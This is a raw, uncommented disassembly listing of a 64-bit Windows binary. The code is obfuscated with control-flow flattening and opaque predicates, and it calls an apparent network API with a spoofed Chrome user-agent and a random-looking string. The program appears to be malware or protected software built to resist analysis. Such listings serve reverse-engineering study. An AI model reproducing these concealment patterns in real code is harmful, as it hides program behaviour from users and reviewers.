and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov edx, 0x408e9d11
mov eax, 0xf458f63f
cmovne edx, eax
test bl, bl
mov eax, 0x408e9d11
jmp 0x14002a32a
cmp eax, 0xcb11801d
je 0x14002bcad
cmp eax, 0xcb20a468
jne 0x14001ff30
mov rax, qword [rbp - 8]
mov rax, qword [rbp - 8]
mov dword [rax], 0
mov rax, qword [rbp]
mov rbx, qword [rbp]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp - 8]
mov rcx, qword [rbp + 0xc8]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 8]
mov rax, qword [rbp + 8]
mov qword [rax], rbx
mov rdx, qword [rbp + 8]
sub rsp, 0x20
lea rcx, [0x1400871c0]
mov r8d, 0x32
xor r9d, r9d
call fcn.140060110
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xada0473f
mov ebx, 0xb60e467
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, al
mov eax, 0xada0473f
jmp 0x14002a730
cmp eax, 0xadc8842b
je 0x14002bd23
cmp eax, 0xaef7279a
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xb4fc442c
mov ebx, 0x41cad8d2
jmp 0x14002b9b6
cmp eax, 0xec4e1bbc
je 0x14002bd4d
cmp eax, 0xece898ed
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xca6354ad
and edx, 0x359cab52
or edx, ebx
xor edx, 0xca6354ac
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0xd1d374a0
mov edx, 0x1ec2a3a3
cmovne ecx, edx
test bl, bl
mov edx, 0xd1d374a0
jmp 0x14002bab4
cmp eax, 0x9c1b3096
je 0x14002bd62
cmp eax, 0x9c2bd30c
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xa6fd91d7
and edx, 0x59026e28
or edx, eax
mov eax, edx
xor eax, 0x59026e28
and eax, 0xfffffffe
xor edx, 0xa6fd91d6
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xbe1e63ec
mov ebx, 0x9132a2cd
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0xbe1e63ec
jmp 0x14002a730
cmp eax, 0xdb387ac7
je 0x14002bd8c
cmp eax, 0xdbdebe05
jne 0x14001ff30
mov eax, 0x57dfbb25
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0xbf8f070a
je 0x14002bdc6
cmp eax, 0xbfa0082d
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x780b30d8
and edx, 0x87f4cf27
or edx, ebx
xor edx, 0x87f4cf26
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x7a6d816d
mov ebx, 0x7deaf083
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x7a6d816d
jmp 0x14002a730
mov rax, qword [rbp + 0x20]
movsx eax, byte [rax + 2]
mov word [0x140086f40], ax
mov rax, qword [rbp + 0x20]
movsx edi, byte [rax + 3]
mov ecx, dword [0x1400820f8]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, dword [0x1400820fc]
xor ecx, edx
test ecx, edx
setne cl
sete dl
cmp ebx, 0xa
setl al
cmp ebx, 9
setg bl
and bl, dl
and cl, al
or cl, bl
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
mov edx, 0x64ff7d46
mov ebx, 0xd318cbb1
cmovne edx, ebx
test al, al
mov eax, 0x64ff7d46
cmovne eax, edx
mov word [0x140086f42], di
jmp 0x14002a32d
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
or cl, dl
xor bl, al
mov eax, ecx
xor al, bl
mov eax, 0x9346b451
mov edx, 0x87493e85
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x9346b451
jmp 0x140029551
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xa89f84e6
mov ebx, ecx
and ebx, 0x57607b19
or ebx, edx
xor ebx, 0x57607b18
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x52728c4c
and ecx, 0xad8d73b3
or ecx, edx
xor ecx, 0xad8d73b3
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x8a4413ee
mov ebx, 0x49c99c00
cmovne edx, ebx
test al, al
mov eax, edx
jmp 0x140029b53
mov ecx, dword [0x1400820f8]
mov edi, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3c1eb921
and edx, 0xc3e146de
or edx, ecx
mov ecx, edx
xor ecx, 0xc3e146de
and ecx, 0xfffffffe
xor edx, 0x3c1eb920
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xe042a388
and edx, 0x1fbd5c77
or edx, ecx
xor edx, 0x1fbd5c77
sete al
setne dl
cmp edi, 0xa
setl bl
cmp edi, 9
setg cl
or cl, dl
xor bl, al
mov edx, ecx
xor dl, bl
test bl, bl
mov eax, 0x3ea15936
mov ebx, 0x6811e314
cmovne eax, ebx
test cl, cl
mov ecx, 0x3ea15936
jmp 0x14002b004
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xaa41ad8c
and ecx, 0x55be5273
or ecx, edx
xor ecx, 0xaa41ad8d
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x65b6b9d0
mov ebx, 0x5eae8093
cmovne edx, ebx
test cl, cl
mov r14d, 0x5eae8093
cmove edx, ebx
test al, al
mov eax, 0x65b6b9d0
jmp 0x14002a730
mov rax, qword [rbp + 0x18]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov rax, qword [rbp + 0x20]
mov rbx, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
mov eax, 0xccf921e2
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_123.0.0.0_Safari_537.36
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov eax, 0x5a47f643
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1cad368
mov edx, eax
and edx, 0xfe352c97
or edx, ecx
xor edx, 0xfe352c96
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xbec8d391
and eax, 0x41372c6e
or eax, ecx
xor eax, 0x41372c6e
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x3c558eef
mov ebx, 0xa5e8ed0
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x3c558eef
jmp 0x140029b53
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x7a01819f
mov edx, 0x2190be14
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x7a01819f
cmovne edx, ebx
jmp 0x14002979a
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xa453c2cf
mov ecx, 0xb4e46659
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xa453c2cf
jmp 0x14002b9c2
cmp byte [rbp + 0xac], 0
mov eax, 0x40033760
mov ecx, 0x4183eb20
jmp 0x14002bb92
cmp byte [rbp + 0x47], 0
mov eax, 0x698340c
mov ecx, 0x872e8ca
jmp 0x14002bb92
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0xf84dbece
and edx, 0x7b24131
or edx, eax
xor edx, 0x7b24131
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xc0232712
mov ebx, 0xc0f08929
cmovne ecx, ebx
test al, al
mov eax, 0xc0232712
jmp 0x14002b398
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x2c1ec47a
mov ebx, 0x58e863c3
cmovne eax, ebx
test dl, dl
mov edx, 0x2c1ec47a
jmp 0x14002ae0a
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xf4f78fe5
and edx, 0xb08701a
or edx, ecx
mov ebx, edx
xor ebx, 0xb08701a
xor edx, 0xa02284c4
and edx, 0xaa2a94ce
mov ecx, ebx
and ecx, 0x55d56b31
or ecx, edx
xor ecx, 0x55d56b30
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x2a9da1de
mov ebx, 0xb8487729
cmovne eax, ebx
test cl, cl
mov ecx, 0x2a9da1de
cmove eax, ecx
test dl, dl
jmp 0x14002ae0f
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0xbcda082e
mov ebx, 0x71abce14
cmovne eax, ebx
test dl, dl
mov edx, 0x71abce14
cmovne edx, eax
test cl, cl
cmovne edx, eax
jmp 0x14002babc
movups xmmword [0x14008754a], xmm6
movaps xmmword [0x140087540], xmm6
movaps xmmword [0x140087530], xmm6
movaps xmmword [0x140087520], xmm6
movaps xmmword [0x140087510], xmm6
movaps xmmword [0x140087500], xmm6
movaps xmmword [0x1400874f0], xmm6
movaps xmmword [0x1400874e0], xmm6
movaps xmmword [0x1400874d0], xmm6
movaps xmmword [0x1400874c0], xmm6
movaps xmmword [0x1400874b0], xmm6
movaps xmmword [0x1400874a0], xmm6
movaps xmmword [0x140087490], xmm6
movaps xmmword [0x140087480], xmm6
movaps xmmword [0x140087470], xmm6
movaps xmmword [0x140087460], xmm6
sub rsp, 0x20
lea rcx, [0x140087460]
lea rdx, str.unknown
call fcn.140060c84
add rsp, 0x20
mov eax, 0x55730999
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x4a487c0a
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov eax, ebx
or bl, dl
and dl, cl
and al, r8b
or al, dl
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
mov ecx, 0x80e2e645
mov edx, 0x8d3b86e0
cmovne ecx, edx
test bl, bl
mov edx, 0x80e2e645
jmp 0x14002bab4
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x6361aa2b
mov ebx, 0xa6dd0bd6
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x6361aa2b
jmp 0x14002a730
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x10f4dd7c
and ecx, 0xef0b2283
or ecx, edx
xor ecx, 0x10f4dd7d
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xa212d103
mov ebx, 0x566edf8
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0xa212d103
cmovne ecx, ebx
test dl, dl
cmovne ecx, eax
jmp 0x14002bd11
mov eax, 0xcbff8d29
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140087240]
lea r8, [0x14007b1f0]
lea r9, str.unknown_un
call fcn.14002be10
add rsp, 0x20
mov eax, 0x9346b451
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x20cccf23
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x47c44579
and edx, 0xb83bba86
or edx, ebx
xor edx, 0xb83bba87
xor eax, edx
test eax, edx
setne dl
sete al
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and cl, al
and dl, bl
or dl, cl
mov ecx, ebx
xor cl, al
or bl, al
xor bl, 1
or bl, cl
mov eax, ebx
xor al, dl
mov ecx, 0xe9120948
mov eax, 0x7f5af817
cmovne ecx, eax
test bl, bl
mov eax, 0xe9120948
cmovne eax, ecx
jmp 0x14002b9c0
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x80436868
and edx, 0x7fbc9797
or edx, ebx
xor edx, 0x7fbc9796
xor eax, edx
test eax, edx
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and cl, dl
and al, bl
or al, cl
mov ecx, ebx
and cl, dl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x4a509e3
mov ebx, 0xbce30a80
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x4a509e3
jmp 0x14002a730
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xc83d25b1
and ecx, 0x37c2da4e
or ecx, eax
mov eax, ecx
xor eax, 0x37c2da4e
xor ecx, 0x8390491
and ecx, 0xa7b5cd9
mov edx, eax
and edx, 0xf584a326
or edx, ecx
xor edx, 0xf584a327
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x4f120fde
mov ebx, 0xba1da17d
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x4f120fde
cmovne eax, ebx
jmp 0x14002a32d
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xf35b963e
mov ebx, 0xcc92daa2
cmovne eax, ebx
test cl, cl
mov ecx, 0xf35b963e
jmp 0x14002a816
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x9cbd3577
and edx, 0x6342ca88
or edx, ebx
xor edx, 0x6342ca89
xor eax, edx
test eax, edx
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov eax, ebx
or bl, dl
and dl, cl
and al, r8b
or al, dl
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0xdbdebe05
mov ebx, 0x56d8b952
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0xdbdebe05
jmp 0x14002a730
mov ecx, dword [0x1400820f8]
mov edi, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2cec6cce
and edx, 0xd3139331
or edx, ecx
mov ecx, edx
xor ecx, 0xd3139330
and ecx, 0xfffffffe
xor edx, 0x2cec6ccf
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x372d32ae
and edx, 0xc8d2cd51
or edx, ecx
xor edx, 0xc8d2cd51
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov eax, edx
xor al, bl
mov ecx, 0x58602714
mov eax, 0x42711002
cmovne ecx, eax
test bl, bl
mov eax, ecx
mov ebx, 0x58602714
cmovne eax, ebx
test dl, dl
jmp 0x14002bb92
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
mov eax, edx
not eax
and eax, 0x97b802bf
and edx, 0x6847fd40
or edx, eax
xor edx, 0x6847fd40
sete al
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xf7d7ac65
mov ecx, 0xa20cc480
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xf7d7ac65
jmp 0x14002b9c2
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xffec61fc
and edx, 0x139e03
or edx, ecx
mov ecx, edx
xor ecx, 0x139e03
xor edx, 0xde8040b8
and edx, 0xde83ceb8
mov ebx, ecx
and ebx, 0x217c3147
or ebx, edx
xor ebx, 0x217c3146
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xdaedc060
and ecx, 0x25123f9f
or ecx, edx
xor ecx, 0x25123f9f
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
and cl, bl
or cl, al
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov eax, ebx
xor al, cl
mov edx, 0xf4669146
mov eax, 0xb3ee43b0
cmovne edx, eax
test bl, bl
mov eax, 0xf4669146
jmp 0x14002a32a
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x2547bd5f
and edx, 0xdab842a0
or edx, ebx
xor edx, 0xdab842a1
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
and dl, al
xor cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov eax, 0xdcf74840
mov edx, 0xac329c5
cmovne eax, edx
test cl, cl
mov ecx, 0xdcf74840
jmp 0x14002b47c
cmp dword [rbp + 0x118], 0
sete byte [rbp + 0xd6]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xb0a3a3a5
and ecx, 0x4f5c5c5a
or ecx, eax
mov eax, ecx
xor eax, 0x4f5c5c5a
xor ecx, 0xa0222325
and ecx, 0xa6727777
mov edx, eax
and edx, 0x598d8888
or edx, ecx
xor edx, 0x598d8889
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x194f2ca7
and eax, 0xe6b0d358
or eax, ecx
xor eax, 0xe6b0d358
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xcecf44a3
mov ebx, 0xee34757
cmovne eax, ebx
test cl, cl
mov ecx, 0xcecf44a3
cmove eax, ecx
jmp 0x14002b007
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
mov ecx, 2
xor edx, edx
call qword [0x140087228]
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x149ca966
and ecx, 0xeb635699
or ecx, eax
mov eax, ecx
xor eax, 0xeb635698
and eax, 0xfffffffe
xor ecx, 0x149ca967
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0x98bd48c6
mov ebx, 0x61ca6bdc
cmovne eax, ebx
test dl, dl
mov edx, 0x98bd48c6
jmp 0x14002a72b
mov eax, 0x5d947012
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov dword [rbp - 0x78], 0
mov eax, 0x68cca832
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov eax, 0x91abb4b3
mov edx, 0xdc4100bf
cmovne eax, edx
test bl, bl
mov edx, 0x91abb4b3
jmp 0x14002a72b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0x3666c984
mov ebx, 0xfc056a49
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0x3666c984
cmovne ecx, ebx
test dl, dl
cmovne ecx, eax
jmp 0x14002bd11
mov eax, 0x92ae977
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
sub rsp, 0x30
mov dword [rsp + 0x20], 0
lea rcx, str.kmdjdheyytgebfghehheneg
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [0x140082010]
add rsp, 0x30
mov eax, 0x842387a5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, 0x9b434fbc
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, ecx
xor bl, dl
test cl, cl
mov eax, 0xfd72e8ab
mov ecx, 0x4acd4098
cmovne eax, ecx
test dl, dl
mov edx, 0xfd72e8ab
cmovne eax, edx
jmp 0x14002a94c
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xe715d8f2
mov ebx, ecx
and ebx, 0x18ea270d
or ebx, edx
xor ebx, 0x18ea270c
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x6addcdc6
and ecx, 0x95223239
or ecx, edx
xor ecx, 0x95223239
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x5ad4d720
cmovne edx, r13d
test al, al
mov eax, edx
cmovne eax, r13d
jmp 0x14002a32d
mov ecx, dword [0x1400820f8]
mov edi, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2ee325bf
and edx, 0xd11cda40
or edx, ecx
mov ecx, edx
xor ecx, 0xd11cda40
and ecx, 0xfffffffe
xor edx, 0x2ee325be
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x50d646ef
and edx, 0xaf29b910
or edx, ecx
xor edx, 0xaf29b910
sete cl
setne al
cmp edi, 0xa
setl bl
cmp edi, 9
setg dl
and cl, dl
or dl, al
and bl, al
or bl, cl
mov ecx, ebx
xor cl, dl
test bl, bl
mov eax, 0x3ea15936
mov ebx, 0xf0c55360
cmovne eax, ebx
test dl, dl
mov edx, 0x3ea15936
cmovne eax, edx
jmp 0x14002b8eb
mov eax, 0xd5da7f79
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
